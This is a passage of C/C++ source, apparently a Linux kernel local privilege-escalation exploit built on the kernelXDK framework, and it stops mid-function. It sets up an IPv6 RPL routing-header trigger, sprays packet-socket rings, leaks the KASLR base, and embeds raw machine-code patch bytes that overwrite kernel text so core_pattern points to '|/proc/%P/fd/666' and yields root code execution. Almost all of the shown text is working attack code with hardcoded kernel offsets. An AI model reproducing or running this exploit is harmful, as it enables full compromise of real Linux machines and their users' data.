1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <arpa/inet.h>
#include <err.h>
#include <errno.h>
#include <exception>
#include <fcntl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/ip6.h>
#include <netpacket/packet.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <unistd.h>
#include <xdk/core.h>
#include <xdk/postrip.h>
INCBIN(target_db, "target_db.kxdb");
asm(".text");
#ifndef IPV6_SRCRT_TYPE_3
#define IPV6_SRCRT_TYPE_3 3
#endif
#ifndef MFD_EXEC
#define MFD_EXEC 0x0010U
#endif
#ifndef SYS_pidfd_send_signal
#define SYS_pidfd_send_signal 424
#endif
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#endif
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
#ifndef TPACKET_V3
#define TPACKET_V3 2
#endif
#define SYSCHK(x) \
({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define MAX_RETRY_COUNT 100
#define PAGE_SIZE 0x1000
#define TEXT_PAGE_COUNT 16
#define PATCH_PAGE_WINDOW_OFFSET 0x1e0000ULL
#define CORE_PATTERN_PAYLOAD "|/proc/%P/fd/666"
#define SELF_COPY_MAX 0xffffffffU
#define PATCH_SIZE 72
#define PATCH_QWORDS (PATCH_SIZE / sizeof(uint64_t))
#define PATCH_CORE_PATTERN_REL32_OFF 19
#define PATCH_RET_OFF 56
#define PATCH_RET_NOP_START_OFF 57
#define PATCH_MSLEEP_REL32_OFF 66
#define CORE_PATTERN_STORE_OFFSET 24
#define IPV6_ADDR_LEN 16
#define RPL_BASE_HDR_LEN 8
#define RPL_CMPRI 5
#define RPL_CMPRE 15
#define RPL_SEGMENT_COUNT 5
#define RPL_SEGMENTS_LEFT 2
#define RPL_PAD_LEN 0
#define RPL_TRIGGER_SEGMENT_INDEX 4
#define RPL_MINIMAL_SEND_COUNT 32
#define SPRAY_PG_VEC_NUM 150
#define PGV_HOLE_COUNT 5
#define EXPLOIT_PAYLOAD_LEN 2000
#define EXPLOIT_PACKET_SEND_COUNT PGV_HOLE_COUNT
#define PGV_BLOCK_SIZE PAGE_SIZE
#define PGV_FRAME_SIZE 2048
#define PGV_RETIRE_TIMEOUT_MS 10000
#define PGV_PAGE_COUNT ((PAGE_SIZE - sizeof(uint64_t)) / sizeof(uint64_t))
#define PATCH_TRIGGER_RETRY_COUNT 20
#define PATCH_TRIGGER_RETRY_DELAY_US 100000
#define CORE_PATTERN_POLL_DELAY_US 100000
#define ATTEMPT_TIMEOUT_SEC 30
static unsigned long long xdk_off_entry_syscall_64;
static unsigned long long xdk_off_core_pattern;
static unsigned long long xdk_off_msleep;
static unsigned long long xdk_off_patch_page;
static uint8_t loopback_addr_pattern[6] = {
0, 0, 0xff, 0xff, 0xff, 0xff,
};
static const unsigned long long text_page_signatures[TEXT_PAGE_COUNT] = {
0xed840f0100000821,
0xff08e9fffffff7c7,
0x5e415d415c415dc1,
0xffffffeac0c748ff,
0xfffb38ae8d4902c2,
0x243c814802c6e11c,
0x188bb8b4c0000,
0x4824048b48000188,
0x417501f883410676,
0x5bdf89480136ea3c,
0x4818ec834853fc89,
0x75ea394860438968,
0xf406b8944302454,
0xc2c74801247c8d48,
0x2404c748c031,
0x9090909090909090,
};
static const unsigned long long text_page_patch_offsets[TEXT_PAGE_COUNT] = {
0xde0,
0xbe0,
0x860,
0x7f0,
0x100,
0x6b0,
0xd30,
0xea0,
0x100,
0x1b0,
0,
0x610,
0xb60,
0x790,
0xa20,
0xc0,
};
static const unsigned char text_page_supported[TEXT_PAGE_COUNT] = {
1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 0, 0, 0, 0, 0, 0,
};
static const unsigned char text_page_should_sleep[TEXT_PAGE_COUNT] = {
1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 0, 0, 0, 0, 0, 0,
};
static const uint8_t core_pattern_patch_template[PATCH_SIZE] = {
0x31, 0xd2, 0xb9, 0x82, 0x00, 0x00, 0xc0, 0x0f,
0x32, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x01, 0xc2,
0x48, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x48,
0x87, 0xe2, 0x68, 0x20, 0x25, 0x50, 0x00, 0x48,
0xb8, 0x50, 0x2f, 0x66, 0x64, 0x2f, 0x36, 0x36,
0x36, 0x50, 0x48, 0xb8, 0x7c, 0x2f, 0x70, 0x72,
0x6f, 0x63, 0x2f, 0x25, 0x50, 0x48, 0x87, 0xe2,
0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 0x07, 0x48,
0x81, 0xea, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2,
};
static_assert(sizeof(core_pattern_patch_template) == PATCH_SIZE,
"unexpected patch stub length");
static unsigned char core_pattern_patch[PATCH_SIZE];
static unsigned char core_pattern_patch_ret[PATCH_SIZE];
static int spray_pg_vec_fds[SPRAY_PG_VEC_NUM];
static void *spray_pg_vec_maps[SPRAY_PG_VEC_NUM];
static int spray_cmd_pipe[2];
static int spray_status_pipe[2];
static char spray_sync_byte;
static const int pgv_hole_indices[PGV_HOLE_COUNT] = {
55, 66, 77, 88, 99,
};
struct tpacket_req3 {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
unsigned int tp_retire_blk_tov;
unsigned int tp_sizeof_priv;
unsigned int tp_feature_req_word;
};
struct ipv6_rpl_sr_hdr_wire {
uint8_t nexthdr;
uint8_t hdrlen;
uint8_t type;
uint8_t segments_left;
uint8_t cmpri_cmpre;
uint8_t pad_res;
uint16_t reserved1;
uint8_t data[];
} __attribute__((packed));
static int core_pattern_is_payload(int verbose);
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void die_msg(const char *msg)
{
fprintf(stderr, "%s\n", msg);
exit(1);
}
static void write_filef(const char *path, const char *fmt, ...)
{
char buf[256];
va_list ap;
int fd;
int len;
ssize_t nw;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (len < 0 || (size_t)len >= sizeof(buf))
die_msg("vsnprintf failed");
fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die(path);
nw = write(fd, buf, (size_t)len);
if (nw != len) {
close(fd);
die(path);
}
if (close(fd) < 0)
die("close");
}
static void write_all_or_die(int fd, const void *buf, size_t len)
{
if (write(fd, buf, len) != (ssize_t)len)
die("write");
}
static void read_all_or_die(int fd, void *buf, size_t len)
{
if (read(fd, buf, len) != (ssize_t)len)
die("read");
}
static void sync_signal_parent(void)
{
write_all_or_die(spray_status_pipe[1], &spray_sync_byte, 1);
}
static void sync_wait_parent(void)
{
read_all_or_die(spray_cmd_pipe[0], &spray_sync_byte, 1);
}
static void sync_signal_child(void)
{
write_all_or_die(spray_cmd_pipe[1], &spray_sync_byte, 1);
}
static void sync_wait_child(void)
{
read_all_or_die(spray_status_pipe[0], &spray_sync_byte, 1);
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
if (cpu < 0)
return;
CPU_ZERO(&set);
CPU_SET((unsigned int)cpu, &set);
SYSCHK(sched_setaffinity(0, sizeof(set), &set));
}
static void setup_target_offsets(Target &target)
{
target.AddSymbol("entry_SYSCALL_64", 0x1600080ULL);
target.AddSymbol("core_pattern", 0x2fb3440ULL);
target.AddSymbol("patch_page", PATCH_PAGE_WINDOW_OFFSET);
xdk_off_entry_syscall_64 = target.GetSymbolOffset("entry_SYSCALL_64");
xdk_off_core_pattern = target.GetSymbolOffset("core_pattern");
xdk_off_msleep = target.GetSymbolOffset("msleep");
xdk_off_patch_page = target.GetSymbolOffset("patch_page");
}
static uint64_t leak_kaslr_base_xdk(void)
{
try {
static TargetDb kxdb("target_db.kxdb", target_db);
Target target = kxdb.AutoDetectTarget();
setup_target_offsets(target);
uint64_t window_size = target.GetKernelPageCount();
uint64_t base = leak_kaslr_base(window_size, 100, 3);
printf("[.] Target: %s %s\n", target.GetDistro().c_str(),
target.GetReleaseName().c_str());
printf("[.] KASLR window size: %llu pages\n",
(unsigned long long)window_size);
printf("[!] Leaked KASLR base: 0x%llx\n",
(unsigned long long)base);
return base;
} catch (const std::exception &e) {
fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what());
exit(1);
}
}
static void payload_set_bytes(Payload &payload, size_t offset,
const uint8_t *src, size_t len)
{
payload.Set(offset, (void *)src, len);
}
static void build_sleeping_core_pattern_patch(Payload &payload)
{
payload_set_bytes(payload, 0, core_pattern_patch_template,
PATCH_CORE_PATTERN_REL32_OFF);
payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF,
(uint32_t)(xdk_off_core_pattern +
CORE_PATTERN_STORE_OFFSET -
xdk_off_entry_syscall_64));
payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t),
&core_pattern_patch_template
[PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)],
PATCH_MSLEEP_REL32_OFF -
(PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)));
payload.SetU32(PATCH_MSLEEP_REL32_OFF,
(uint32_t)(xdk_off_core_pattern - xdk_off_msleep));
payload_set_bytes(payload, PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t),
&core_pattern_patch_template
[PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)],
PATCH_SIZE -
(PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)));
}
static void build_returning_core_pattern_patch(Payload &payload)
{
static const uint8_t ret_opcode = 0xc3;
uint8_t nops[PATCH_SIZE - PATCH_RET_NOP_START_OFF];
payload_set_bytes(payload, 0, core_pattern_patch_template,
PATCH_CORE_PATTERN_REL32_OFF);
payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF,
(uint32_t)(xdk_off_core_pattern +
CORE_PATTERN_STORE_OFFSET -
xdk_off_entry_syscall_64));
payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t),
&core_pattern_patch_template
[PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)],
PATCH_RET_OFF -
(PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)));
payload_set_bytes(payload, PATCH_RET_OFF, &ret_opcode,
sizeof(ret_opcode));
memset(nops, 0x90, sizeof(nops));
payload_set_bytes(payload, PATCH_RET_NOP_START_OFF, nops, sizeof(nops));
}
static void rip_build_core_pattern_patches(void)
{
Payload sleeping_patch(PATCH_SIZE);
Payload returning_patch(PATCH_SIZE);
std::vector<uint8_t> sleeping_patch_data;
std::vector<uint8_t> returning_patch_data;
build_sleeping_core_pattern_patch(sleeping_patch);
build_returning_core_pattern_patch(returning_patch);
sleeping_patch_data = sleeping_patch.GetData();
returning_patch_data = returning_patch.GetData();
memcpy(core_pattern_patch, sleeping_patch_data.data(), PATCH_SIZE);
memcpy(core_pattern_patch_ret, returning_patch_data.data(), PATCH_SIZE);
}
static void rip_trigger_module_autoload(void)
{
for (int family = 40; family < 56; family++) {
int fd = socket(family, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd >= 0)
close(fd);
}
}
static void rip_trigger_workqueue_activity(void)
{
rip_trigger_module_autoload();
sync();
}
static void rip_trigger_patch_page(int page)
{
int pidfd;
struct rlimit oldlim;
struct rusage ru;
struct sysinfo si;
struct utsname u;
switch (page) {
case 0:
pidfd = (int)syscall(SYS_pidfd_open, getpid(), 0);
if (pidfd >= 0) {
(void)syscall(SYS_pidfd_send_signal, pidfd, 0,
(siginfo_t *)NULL, 0);
close(pidfd);
}
break;
case 1:
(void)umask(022);
break;
case 2:
(void)uname(&u);
break;
case 3:
(void)sysinfo(&si);
break;
case 4:
(void)setpriority(PRIO_PROCESS, 0, 10);
break;
case 5:
(void)syscall(SYS_prlimit64, 0, RLIMIT_NOFILE, (void *)NULL,
&oldlim);
break;
case 6:
if (setuid(getuid()) < 0)
break;
break;
case 7:
(void)getrusage(RUSAGE_SELF, &ru);
break;
case 8:
(void)prctl(PR_SET_NAME, "hit_syscalls", 0, 0, 0);
break;
case 9:
case 11:
case 12:
case 13:
case 14:
case 15:
rip_trigger_workqueue_activity();
break;
}
}
static void spray_packet_rx_ring_init(int fd, unsigned int block_size,
unsigned int frame_size,
unsigned int block_nr,
unsigned int sizeof_priv,
unsigned int timeout)
{
int version = TPACKET_V3;
struct tpacket_req3 req;
SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
sizeof(version)));
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)));
}
static int spray_packet_socket_setup(unsigned int block_size,
unsigned int frame_size,
unsigned int block_nr,
|